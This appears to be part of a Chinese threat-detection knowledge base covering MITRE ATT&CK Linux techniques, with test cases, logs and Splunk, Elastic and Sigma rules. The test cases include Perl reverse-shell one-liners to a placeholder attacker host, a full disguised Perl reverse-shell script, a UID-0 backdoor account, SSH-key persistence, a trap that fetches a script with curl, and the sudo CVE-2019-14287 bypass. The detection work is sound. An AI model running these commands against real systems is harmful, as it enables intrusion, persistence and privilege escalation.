[
  {
    "path": "Linux/04执行/T1059-004-linux-脚本.md",
    "content": "# T1059-004-Linux-脚本\n## 来自ATT&CK的描述\n攻击者可能会滥用Unix shell命令和脚本来执行。Unix shell是Linux和macOS系统上的主要命令提示符，尽管Unix shell存在许多变体（例如sh，bash，zsh等），具体取决于特定的OS或发行版。Unix shell可以使用某些要求提升特权的命令来控制系统的各个方面。\nUnix shell还支持脚本，这些脚本支持顺序执行命令以及其他典型的编程操作，例如条件和循环。Shell脚本的常见用法包括冗长或重复的任务，或者需要在多个系统上运行同一组命令。\n攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间（例如使用SSH）访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令，或者作为用于持久性的有效载荷的一部分。\n## 测试案例\n如何在linux下进行模拟和测试？我们可以创建一个简单bash脚本，并执行它。观察它在日志中留下的痕迹。\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\n## 测试复现\nicbc@icbc:/hacker$ bash 1.bash\n## 测试留痕\nicbc@icbc:/$ cat /var/log/audit/audit.log\ntype=SYSCALL msg=audit(1565352677.388:1524): arch=c000003e syscall=59 success=yes exit=0 a0=564608ddc330 a1=564608dbd8c0 a2=564608de3970 a3=8 items=2 ppid=2095 pid=2807 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=4 comm=\"bash\" exe=\"/usr/bin/bash\" key=\"auditcmd\"\ntype=EXECVE msg=audit(1565352677.388:1524): argc=2 a0=\"bash\" a1=\"1.bash\"\ntype=CWD msg=audit(1565352677.388:1524): cwd=\"/hacker\"\ntype=PATH msg=audit(1565352677.388:1524): item=0 name=\"/usr/bin/bash\" inode=2228277 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0\n## 检测规则/思路\n### splunk规则\nindex = linux sourcetype = linux_audit syscall = 59  | table host，syscall，syscall_name，exe，auid\n### 建议\n值得注意的是：我们只是把环境中的脚本执行行为记录下来，如果没有设置白名单，那么我们需要消耗大量的精力用于处理误报。\n## 参考推荐\nMITRE-ATT&CK-T1059-004\n<https://attack.mitre.org/techniques/T1059/004/>\nAudit配置手册\n<https://www.cnblogs.com/bldly1989/p/7204358.html>\n"
  },
  {
    "path": "Linux/04执行/T1059-006-linux-通过Python生成的交互shell.md",
    "content": "# T1059-006-Linux-通过Python生成的交互shell\n## 来自ATT&CK的描述\n攻击者可能会滥用Python命令和脚本来执行。Python是一种非常流行的脚本编程语言，具有执行许多功能的能力。Python可以从命令行交互地执行（通过python.exe解释器）或通过可以编写和分发到不同系统的脚本（.py）。Python代码也可以编译成二进制可执行文件。\nPython自带了很多内置的包来和底层系统交互，比如文件操作和设备I/O。攻击者可以使用这些库来下载和执行命令或其他脚本以及执行各种恶意行为。\n## 测试案例\npython交互式shell常见命令：\n```\nbash\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\npython -c 'import pty; pty.spawn(\"/bin/sh\")'\npython -c 'import pty; pty.spawn(\"/bin/dash\")'\n```\n## 检测日志\n未知\n## 测试复现\n无\n## 测试留痕\n无\n## 检测规则/思路\n### elastic\n```\nyml\nquery = '''\nevent.category:process and event.type:(start or process_started) and\n  process.name:python* and\n  process.args:(\"import pty; pty.spawn(\\\"/bin/sh\\\")\" or\n                \"import pty; pty.spawn(\\\"/bin/dash\\\")\" or\n                \"import pty; pty.spawn(\\\"/bin/bash\\\")\")\n'''\n```\n### 建议\n对数据源要求较高，需要正确配置相关策略记录相关命令参数，才能够使用该规则。\n## 参考推荐\nMITRE-ATT&CK-T1059-006\n<https://attack.mitre.org/techniques/T1059/006/>\nInteractive Terminal Spawned via Python\n<https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_python_tty_shell.toml>\n实现交互式shell的几种方式\n<https://saucer-man.com/information_security/233.html>\n"
  },
  {
    "path": "Linux/04执行/T1059-linux-通过Perl生成的交互式shell.md",
    "content": "# T1059-Linux-通过Perl生成的交互式shell\n## 来自ATT&CK的描述\n攻击者可能滥用命令和脚本解释器来执行命令、脚本或二进制文件。这些接口和语言提供了与计算机系统交互的方式，并且是许多不同平台的共同特征。大多数系统都带有一些内置的命令行界面和脚本功能，例如:macOS和Linux发行版包括一些Unix Shell，而Windows安装包括Windows Command Shell和PowerShell。\n还有跨平台解释器，例如Python ，以及通常与客户端应用程序相关的解释器，例如JavaScript和Visual Basic。\n攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间（例如使用SSH）访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令，或者作为用于持久性的有效载荷的一部分。\n## 测试案例\n通过Perl生成终端(tty)。攻击者可以将简单的反向shell升级为完全获得对主机的初始访问权限后的交互式tty。\n```\nbash\nperl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n# 用这条命令，唯一的不同是提示符变成了sh-4.1#，实现原理和前面的bash差不多\n```\n依赖于/bin/sh的shell：这条语句比上面的更为简短，而且确实不需要依赖/bin/sh\n```\nbash\nperl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"attackerip:4444\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\n```\n完整版的perl反弹shell脚本\n```\nperl\n# !/usr/bin/perl -w\n# perl-reverse-shell - A Reverse Shell implementation in PERL\nuse strict;\nuse Socket;\nuse FileHandle;\nuse POSIX;\nmy $VERSION = \"1.0\";\n# Where to send the reverse shell.  Change these.\nmy $ip = '127.0.0.1';\nmy $port = 1234;\n# Options\nmy $daemon = 1;\nmy $auth   = 0; # 0 means authentication is disabled and any\n        # source IP can access the reverse shell\nmy $authorised_client_pattern = qr(^127\\.0\\.0\\.1$);\n# Declarations\nmy $global_page = \"\";\nmy $fake_process_name = \"/usr/sbin/apache\";\n# Change the process name to be less conspicious\n$0 = \"[httpd]\";\n# Authenticate based on source IP address if required\nif (defined($ENV{'REMOTE_ADDR'})) {\n    cgiprint(\"Browser IP address appears to be: $ENV{'REMOTE_ADDR'}\");\n    if ($auth) {\n        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {\n            cgiprint(\"ERROR: Your client isn't authorised to view this page\");\n            cgiexit();\n        }\n    }\n} elsif ($auth) {\n    cgiprint(\"ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access\");\n    cgiexit(0);\n}\n# Background and dissociate from parent process if required\nif ($daemon) {\n    my $pid = fork();\n    if ($pid) {\n        cgiexit(0); # parent exits\n    }\n    setsid();\n    chdir('/');\n    umask(0);\n}\n# Make TCP connection for reverse shell\nsocket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));\nif (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {\n    cgiprint(\"Sent reverse shell to $ip:$port\");\n    cgiprintpage();\n} else {\n    cgiprint(\"Couldn't open reverse shell to $ip:$port: $!\");\n    cgiexit();\n}\n# Redirect STDIN, STDOUT and STDERR to the TCP connection\nopen(STDIN, \">&SOCK\");\nopen(STDOUT,\">&SOCK\");\nopen(STDERR,\">&SOCK\");\n$ENV{'HISTFILE'} = '/dev/null';\nsystem(\"w;uname -a;id;pwd\");\nexec({\"/bin/sh\"} ($fake_process_name, \"-i\"));\n# Wrapper around print\nsub cgiprint {\n    my $line = shift;\n    $line .= \"<p>\\n\";\n    $global_page .= $line;\n}\n# Wrapper around exit\nsub cgiexit {\n    cgiprintpage();\n    exit 0; # 0 to ensure we don't give a 500 response.\n}\n# Form HTTP response using all the messages gathered by cgiprint so far\nsub cgiprintpage {\n    print \"Content-Length: \" . length($global_page) . \"\\r\nConnection: close\\r\nContent-Type: text\\/html\\r\\n\\r\\n\" . $global_page;\n}\n```\n## 检测日志\n无\n## 测试复现\n无\n## 测试留痕\n无\n## 检测规则/思路\n### elastic\n```\nyml\nquery = '''\nevent.category:process and event.type:(start or process_started) and process.name:perl and\n  process.args:(\"exec \\\"/bin/sh\\\";\" or \"exec \\\"/bin/dash\\\";\" or \"exec \\\"/bin/bash\\\";\")\n'''\n```\n### 建议\n对数据源要求较高，需要正确配置相关策略记录相关命令参数，才能够使用该规则。\n## 参考推荐\nMITRE-ATT&CK-T1059\n<https://attack.mitre.org/techniques/T1059>\nLinux下反弹shell的种种方式\n<https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html>\nInteractive Terminal Spawned via Perl\n<https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_perl_tty_shell.toml>\n"
  },
  {
    "path": "Linux/04执行/T1154-linux-trap.md",
    "content": "# T1154-Linux-trap\n## 来自ATT&CK的描述\n该`trap`命令允许程序和shell指定在接收中断信号时将执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断，如`ctrl+c`和`ctrl+d`。攻击者可以使用它来注册当shell遇到特定中断以执行或作为持久性机制时要执行的代码。陷阱命令具有以下格式`trap 'command list' signals`，其中当接收到“信号”时将执行“命令列表”。\n## 测试案例\n```\nbash\ntrap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh # 脚本即使在退出后（ctrl + c）也会继续执行程序/脚本。\ntrap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh\n```\n关于trap、nohup命令的更多解释，你可以查看参考链接部分。\n## 检测日志\nbash历史命令\n## 测试复现\n```\nbash\nicbc@icbc:/$ trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh\n> ^C\n```\n## 测试留痕\n```\nbash\nicbc@icbc:/$ history\n 693  trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh\n```\n## 检测规则/思路\n### splunk规则\nindex=linux sourcetype=bash_history \"trap *\" | table host,user_name,bash_command\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1154\n<https://attack.mitre.org/techniques/T1154/>\nlinux下trap命令详解\n<https://blog.csdn.net/carolzhang8406/article/details/46504415/>\nlinux下nohup命令浅析\n<https://www.bbsmax.com/A/kjdw9606JN/>\n"
  },
  {
    "path": "Linux/05权限维持/T1098-004-linux-账户操纵-SSH Authorized Keys.md",
    "content": "# T1098-004-Linux-账户操纵-SSH Authorized Keys\n## 来自ATT&CK的描述\n攻击者可能会修改SSH `authorized_keys`文件来维持对目标主机的持久访问。 Linux发行版和macOS通常会对远程管理的SSH会话采用基于密钥的身份验证过程。SSH中的`authorized_keys`文件指定了登录用户账户（该文件就是为此账户而配置）需要用到的SSH密钥。此文件通常位于用户home目录中的`<user-home>/.ssh/authorized_keys`下（引自：SSH Authorized Keys）。用户可能会编辑系统的SSH配置文件，将PubkeyAuthentication 和RSAAuthentication 设置为“yes”来启用公钥和RSA身份验证。SSH配置文件通常位于`/etc/ssh/sshd_config`下。\n攻击者可能会直接通过脚本或shell命令修改SSH `authorized_keys`文件，添加他们自己提供的公共密钥。然后，拥有相应私钥的攻击者就可以通过SSH以现有用户身份登录（引自：Venafi SSH Key Abuse）（引自：Cybereason Linux Exim Worm）。\n## 测试案例\n### 通过写入SSH公钥在Linux系统上实现持久化\n#### 攻击机生成公钥\n首先在Kali攻击机生成公钥和私钥，其中id_rsa.pub为公钥，id_rsa为私钥。\n```\nbash\nssh-keygen -t rsa\n```\n#### 在靶机写入公钥\n将kali攻击机中生成的公钥id_rsa.pub内容写入到靶机中\n`echo \"xxx\" >> ~/.ssh/authorized_keys`\n#### 攻击机实现免密码登录靶机\n使用`ssh`命令直接连接靶机\n`ssh root@10.255.30.21`\n## 检测日志\n无\n## 测试复现\n无\n## 测试留痕\n无\n## 检测规则/思路\n### 建议\n使用文件完整性监控来检测系统上每个用户对`authorized_keys`文件所做的更改。监控可疑进程是否修改了`authorized_keys`文件。\n监控修改`/etc/ssh/sshd_config`的更改和可疑进程。\n## 相关TIP\n[[Threathunting-book/5-权限维持/T1098-win-万能密码]]\n[[Threathunting-book/5-权限维持/T1098-win-账户操作]]\n[[T1098-win-AdminSDHolder]]\n## 参考推荐\nMITRE-ATT&CK-T1098-001\n<https://attack.mitre.org/techniques/T1098/001/>\n"
  },
  {
    "path": "Linux/05权限维持/T1136-001-linux-创建账户.md",
    "content": "# T1136-001-Linux-创建用户\n## 来自ATT&CK的描述\n攻击者拥有足够的访问权限可以创建本地账户或者域账户。此类账户可以用于权限维持，持久性，不需要在系统上部署后门工具来实现权限维持。\n这些Net user命令可用于创建本地或域账户。\n## 测试案例\nuseradd -o -u 0 -g 0 -M -d / root -s / bin / bash＃{用户名}\n## 检测日志\n/var/log/auth.log （如果可以的话，我更希望你能够使用audit日志进行检测，它会很方便）\n## 测试复现\nicbc@icbc:/$ sudo useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc(用户名)\nicbc@icbc:/$ cat /etc/passwd\nroot: x:0:0:root:/root:/bin/bash\n......\nabc: x:0:0:root:/root:/bin/bash\n## 测试留痕\nicbc@icbc:/$sudo cat /var/log/auth.log\nAug  9 13:42:33 icbc sudo:     icbc : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc\nAug  9 13:42:34 icbc sudo: pam_unix(sudo:session): session opened for user root by (uid=0)\nAug  9 13:42:34 icbc useradd[18979]: new user: name=abc, UID=0, GID=0, home=/root, shell=/bin/bash\n## 检测规则/思路\n```\naudit\nRoot Account Creation: index=linux  source=\"/var/log/auth.log\" eventtype=useradd UID=0 OR GID=0\n```\n## 相关TIP\n[[T1136-001-win-创建本地账户]]\n## 参考推荐\nMITRE-ATT&CK-T1136-001\n<https://attack.mitre.org/techniques/T1136/001/>\nlinux命令详解之useradd命令使用方法\n<https://blog.csdn.net/u011537073/article/details/51987121>\n"
  },
  {
    "path": "Linux/05权限维持/T1546-004-linux-.bash_profile and .bashrc.md",
    "content": "# T1546-004-Linux-.bash_profile和.bashrc\n## 来自ATT&CK的描述\n`~/.bash_profile`和.bashrc是在新shell打开时或用户登录时在用户的上下文中执行，以便正确设置其环境。为登录shell执行，并为交互式非登录shell执行。这意味着当用户（通过用户名和密码）登录到控制台（本地或通过SSH等远程登录）时，会在将初始命令提示符返回给用户之前执行。每次打开新的shell时都会执行。这允许用户在需要执行某些命令时进行更细粒度的控制。\n这些文件是由本地用户编写的，用于配置自己的环境; 但是，每次用户登录或打开新的shell时，攻击者可以在这些文件中插入代码以获得持久性。\n## 测试案例\necho“＃{command_to_add}”>>〜/ .bashrc\necho“＃{command_to_add}”>>〜/ .bash_profile\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\nbash历史记录\n## 测试复现\n暂无\n## 测试留痕\nlinux_audit日志\ntype=SYSCALL msg=audit(1565526007.269:5543): arch=c000003e syscall=59 success=yes exit=0 a0=5637bba2a518 a1=5637bba32968 a2=5637bba30130 a3=fffffffffffff000 items=2 ppid=7724 pid=7725 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm=\"echo\" exe=\"/usr/bin/echo\" key=\"auditcmd\"\ntype=EXECVE msg=audit(1565526007.269:5543): argc=2 a0=\"echo\" a1=\"/home/icbc/1.sh\"\ntype=CWD msg=audit(1565526007.269:5543): cwd=\"/home/icbc\"\n......\ntype=SYSCALL msg=audit(1565526021.625:5547): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=5610372c7240 a2=441 a3=1b6 items=2 ppid=4356 pid=7726 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm=\"bash\" exe=\"/usr/bin/bash\" key=\"bashrc_changes\"\nbash历史记录\nicbc@icbc:~$ history\n  100  sudo echo \"/home/icbc/1.sh\">> ~/.bashrc\n  101  sudo echo \"/home/icbc/1.sh\">> ~/.bash_profile\n## 检测规则/思路\n### 基于audit检测\nindex = linux sourcetype = linux_audit bashrc_changes\n值得注意的是你要手动配置自己的检测规则，如下：\n- w /home/user/.bashrc -p wa -k bashrc_changes\n- w /home/user/.bash_profile -p wa -k bashrc_changes\n注意：我们需要为每个用户的bashrc和bash_profile文件添加审核规则。在audit规则中不接受正则表达式，所以我们无法创建这样的监视规则：/home/*/.bash_history\n### 基于bash历史记录\nindex=linux sourcetype=bash_history bash_command=\"nano .bashrc\" OR bash_command=\"vi .bashrc\" OR echo .bashrc | table host,user_name,bash_command\nindex=linux sourcetype=bash_history bash_command=\"nano .bashrc_profile\" OR bash_command=\"vi .bashrc_profile\" OR echo .bashrc_profile | table host,user_name,bash_command\n#### sigma检测规则\n```\nYML\ntitle: 编辑修改.bash_profile和.bashrc\nstatus: experimental\ndescription: 检测用户环境的变化。攻击者可以在这些文件中插入代码，以便在每次用户登录或打开新shell时获得持久性。\nreferences:\n    - 'MITRE Attack technique T1156; .bash_profile and .bashrc. '\ndate: 2019/05/12\ntags:\n    - attack.s0003\n    - attack.t1156\n    - attack.persistence\n    - attack.t1546.004\nauthor: Peter Matkovski\ntranslator: 12306Bro\nlogsource:\n    product: linux\n    service: auditd #auditd 日志\ndetection:\n    selection:\n        type: 'PATH' #路径\n        name:\n            - '/home/*/.bashrc'\n            - '/home/*/.bash_profile'\n            - '/home/*/.profile'\n            - '/etc/profile'\n            - '/etc/shells'\n            - '/etc/bashrc'\n            - '/etc/csh.cshrc'\n            - '/etc/csh.login'\n    condition: selection\nfalsepositives:\n    - Admin or User activity\nlevel: medium\n```\n## 参考推荐\nMITRE-ATT&CK-T1546-004\n<https://attack.mitre.org/techniques/T1546/004/>\n"
  },
  {
    "path": "Linux/05权限维持/T1548-001-linux-Setuid and Setgid.md",
    "content": "# T1548-001-Linux-Setuid and Setgid\n## 来自ATT&CK的描述\n攻击者可以使用setuid或setgid位执行shell转义或利用应用程序中的漏洞来获取在不同用户上下文中运行的代码。在Linux或macOS上，当为应用程序设置了setuid或setgid位时，该应用程序将分别以拥有用户或组的特权运行。通常，应用程序是在当前用户的上下文中运行的，而不管哪个用户或组拥有该应用程序。但是，在某些情况下，需要在提升权限的上下文中执行程序才能正常运行，但运行它们的用户不需要提升权限。\n任何用户都可以为自己的应用程序设置setuid或setgid标志，而不必在sudoers文件中创建条目（必须由root用户完成）。通过查看文件属性时，这些位用“s”而不是“x”表示ls -l。该chmod程序能够经由bitmasking设置这些位与，chmod 4777 [file]或通过速记命名，chmod u+s [file]。\n攻击者可以对自己的恶意软件使用此机制，以确保他们将来能够在提升的环境中执行。\n### 关于Setuid and Setgid详解\n文件权限的机制是Linux系统的一大特色，对于初学Linux的人对可读（r）、可写（w）、可执行（x）这都是比较基本的权限。一个文件的权限有十个位，分为三组来表示。第一个位为一组，表示文件的类型：\n- ：表示一般文件\nd：表示目录文件\nl：表示链接文件\nb：表示块设备\nc：表示字符设备\np：表示管道\ns：表示套接字\n但是Linux还有三个比较特殊的权限，分别是：setuid，setgid，stick bit （粘滞位）。\n setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。\n setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。\n stick bit: 该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该用户具有写权限. 如果没有写权限, 则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用stick bit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件。\n## 测试案例\n操作这些标志与操作文件权限的命令是一样的, 都是 chmod. 有两种方法来操作：\n### 方法一\nchmod u+s xxx # 设置setuid权限，加上setuid标志(setuid 只对文件有效)\nchmod g+s xxx # 设置setgid权限，加上setgid标志 (setgid 只对目录有效)\nchmod o+t xxx # 设置stick bit权限，针对目录\n### 方法二\n 采用八进制方式. 对一般文件通过三组八进制数字来置标志, 如 666, 777, 644等. 如果设置这些特殊标志, 则在这组\n数字之外外加一组八进制数字. 如4666, 2777等\nchmod 4775 xxx # 设置setuid权限\nchmod 2775 xxx # 设置setgid权限\nchmod 1775 xxx # 设置stick bit权限，针对目录\n 在这里只讲第一位8进制代表权限\n0: 不设置特殊权限\n1：只设置sticky\n2：只设置SGID\n3：只设置SGID和sticky\n4：只设置SUID\n5：只设置SUID和sticky\n6：只设置SUID和SGID\n7：设置3种权限\n设置完这些标志后, 可以用 ls -l 来查看. 如果有这些标志, 则会在原来的执行标志位置上显示。那么原来的执行标志x到哪里去了呢? 系统是这样规定的, 如果本来在该位上有x, 则这些特殊标志显示为小写字母 (s, s, t). 否则, 显示为大写字母 (S, S, T)。\n注：在UNIX系统家族里，文件或目录权限的控制分别以读取，写入，执行3种一般权限来区分，另有3种特殊权限\n可供运用，再搭配拥有者与所属群组管理权限范围。您可以使用chmod指令去变更文件与目录的权限，设置方式\n采用文字或数字代号皆可。符号连接的权限无法变更，如果您对符号连接修改权限，其改变会作用在被连接的原始\n文件。权限范围的表示法如下：\n　　u：User，即文件或目录的拥有者。\n　　g：Group，即文件或目录的所属群组。\n　　o：Other，除了文件或目录拥有者或所属群组之外，其他用户皆属于这个范围。\n　　a：All，即全部的用户，包含拥有者，所属群组以及其他用户。\n　　有关权限代号的部分，列表于下：\n　　r：读取权限，数字代号为\"4\"。\n　　w：写入权限，数字代号为\"2\"。\n　　x：执行或切换权限，数字代号为\"1\"。\n　　- ：不具任何权限，数字代号为\"0\"。\n　　s：特殊?b>功能说明：变更文件或目录的权限。\n## 检测日志\nbash历史记录\n## 测试复现\n### 方法一/\nicbc@icbc:/hacker$ ls -l\n- rw-r--r--  1 root root    0 7月  19 17:22 bas.txt\nicbc@icbc:/hacker$ sudo chmod u+s bas.txt\nicbc@icbc:/hacker$ ls -l\n- rwSr--r--  1 root root    0 7月  19 17:22 bas.txt\nicbc@icbc:/hacker$ sudo chmod g+s bas.txt\nicbc@icbc:/hacker$ ls -l\n- rwSr-Sr--  1 root root    0 7月  19 17:22 bas.txt\n### 方法二/\nicbc@icbc:/hacker$ ls -l\n- rwxr-xr-x  1 root root    0 8月  28 15:16 admin.txt\nicbc@icbc:/hacker$ sudo chmod 4777 admin.txt\nicbc@icbc:/hacker$ ls -l\n- rwsrwxrwx  1 root root    0 8月  28 15:16 admin.txt\nicbc@icbc:/hacker$ sudo chmod 2777 admin.txt\nicbc@icbc:/hacker$ ls -l\n- rwxrwsrwx  1 root root    0 8月  28 15:16 admin.txt\n## 测试留痕\n### 方法一 /\nicbc@icbc:/hacker$ history\n650  chmod u+s bas.txt\n651  sudo chmod u+s bas.txt\n652  ls -l\n653  sudo chmod g+s bas.txt\n### 方法二 /\nicbc@icbc:/hacker$ history\n683  sudo chmod 4777 admin.txt\n684  ls -l\n685  sudo chmod 2777 admin.txt\n## 检测规则/思路\nsplunk检测规则：index=linux sourcetype=bash_history \"chmod `4***`\" OR \"chmod `2***`\" OR \"chmod u+s\" OR \"chmod g+s\" | table host,user_name,bash_command\n## 参考推荐\nMITRE-ATT&CK-T1548-001\n<https://attack.mitre.org/techniques/T1548/001/>\nlinux文件特殊权限\n<https://www.cnblogs.com/patriot/p/7874725.html>\nlinux中chmod命令详解\n<https://www.cnblogs.com/lianstyle/p/8571975.html>\nlinux下的chmod参数详解\n<https://blog.csdn.net/taiyang1987912/article/details/41121131>\n"
  },
  {
    "path": "Linux/06权限提升/T1548-003-linux-CVE-2019-14287.md",
    "content": "# T1548-003-Linux-CVE-2019-14287\n## 来自ATT&CK的描述\nsudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念，使得用户在大多数时间以最低可能的权限运行，并且仅在需要时提升到其他用户或权限，通常通过提示输入密码。但是，sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。\n攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。\n## 测试案例\n**CVE-2019-14287**\n如果将sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话，那么攻击者将有可能通过制定用户ID -1或4294967295来以root权限执行恶意命令。\n当sudo被配置为 【允许用户基于Runas规范中定义的ALL关键字，以任意用户身份执行命令】时，可以通过指定特定的用户id（如-1或者4294967295）以root身份运行命令，尽管Runas规范中明确规范了禁止root访问，但只要Runas规范中优先出现了ALL关键字，具有足够sudo特权的用户就可以使用此命令以root身份运行命令\n以这种方式运行的命令，日志会把用户id记录为4294967295，而非root。此外，PAM会话不会干预此命令的执行。\n\\#Runas规范：指sudo配置文件（一般为/etc/sudoers） 中定义的用户执行权限规则\n\\#PAM（可插入身份验证模块）：PAM将程序开发与认证方式进行分离，程序在运行时调用附加的“认证”模块完成自己的工作。本地系统管理员通过配置选择要使用某种认证模块。\n**影响版本**：sudo 1.8.28 以下版本\n## 检测日志\nlinux auth.log日志，无需刻意配置。\n模拟环境：ubuntu 19.04\n## 测试复现\n步骤如下：\n1、创建普通用户账户；\n2、切换root权限，修改/etc/sudoers 配置文件写入如下规则\n```\ndos\nabc ALL = (ALL, !root) /usr/bin/vi\n```\n3、值得注意的是：你需要修改/etc/sudoers的读写权限，否则你无法对此文件进行写入。同时，在写入完成之后，你需要修改此文件的权限为只读\n```\nshell\n chmod u+w /etc/sudoers  （修改权限，默认只读）\n chmod u-w /etc/sudoers   （只读权限，很重要）\n```\n4、测试：执行sudo vi 无权限\n​      执行sudo -u#-1 vi 突破限制成功以root身份执行\n## 测试留痕\n```\nhistory\nOct 18 11:09:54 icbc sudo:  test321 : TTY=pts/1 ; PWD=/ ; USER=#-1 ; COMMAND=/usr/bin/id\nOct 18 11:11:59 icbc sudo:  test321 : TTY=pts/1 ; PWD=/ ; USER=#4294967295 ; COMMAND=/usr/bin/id\n```\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: CVE-2019-14287 sudo 配置不当-权限提升\ndescription: Ubuntu19.04 x64测试结果（当sudo配置为允许用户通过Runas规范中的ALL关键字以任意用户身份运行命令时，可以按通过指定用户ID-1或4294967295成为root用户。具有足够sudo特权的用户可以使用它来以root身份运行命令，即使Runas规范明确禁止root用户访问，只要在Runas规范\n 条件中首先列出ALL关键字即可）\nreferences: https://sysdig.com/blog/detecting-cve-2019-14287/\ntags: T1548-003\nstatus: experimental\nauthor: Blue team\nlogsource:\n    product: linux\ndetection:\n    selection:\n        proc.name: 'sudo:'\n        proc.USER:\n            - '#-1'\n            - '#4294967295'\n    condition: selection\nlevel: medium\n```\n### 建议\n暂无\n## 缓解措施\n目前主要影响以下版本：\nsudo -V < 1.8.28\n升级sudo版本至1.8.28以上\n## 相关TIP\n[[T1548-003-linux-Sudo]]\n[[T1548-002-win-绕过用户账户控制-Eventvwr.exe(白名单)]]\n[[T1548-003-linux-Sudo]]\n## 参考推荐\nMITRE-ATT&CK-T1548-003\n<https://attack.mitre.org/techniques/T1548/003/>\n检测CVE-2019-14287\n<https://sysdig.com/blog/detecting-cve-2019-14287/>\n"
  },
  {
    "path": "Linux/06权限提升/T1548-003-linux-Sudo.md",
    "content": "# T1169-Linux-Sudo\n## 来自ATT&CK的描述\nsudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念，使得用户在大多数时间以最低可能的权限运行，并且仅在需要时提升到其他用户或权限，通常通过提示输入密码。但是，sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。\n攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。\n## 测试案例\n cat /etc/sudoers\n vim /etc/sudoers\n值得注意的是：攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。\n## 检测日志\nlinux audit日志 （值得注意的是：Ubuntu默认情况下没有audit，需要下载安装并配置相关策略）\n## 测试复现\n### 场景一\nicbc@icbc:/$ sudo cat /etc/sudoers\n### 场景二\nicbc@icbc:/$ sudo vim /etc/sudoers\n## 测试留痕\ntype=USER_CMD msg=audit(1563520773.609:436): pid=3530 uid=1000 auid=1000 ses=3 msg='cwd=\"/\" cmd=636174202F6574632F7375646F657273 terminal=pts/0 res=success'\n值得注意的是：这里只提取出了异常日志，故省略了很多日志细节。\n## 检测规则/规则\n### splunk规则\n```\nyml\nindex=linux sourcetype=\"linux_audit\" sudoers_110\n```\n值得注意的是：你需要自行配置Audit审核规则：root@icbc:~# auditctl -w /etc/sudoers -p war -k sudoers_110\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1548-003\n<https://attack.mitre.org/techniques/T1548/003/>\nAudit配置手册\n<https://www.cnblogs.com/bldly1989/p/7204358.html>\n"
  },
  {
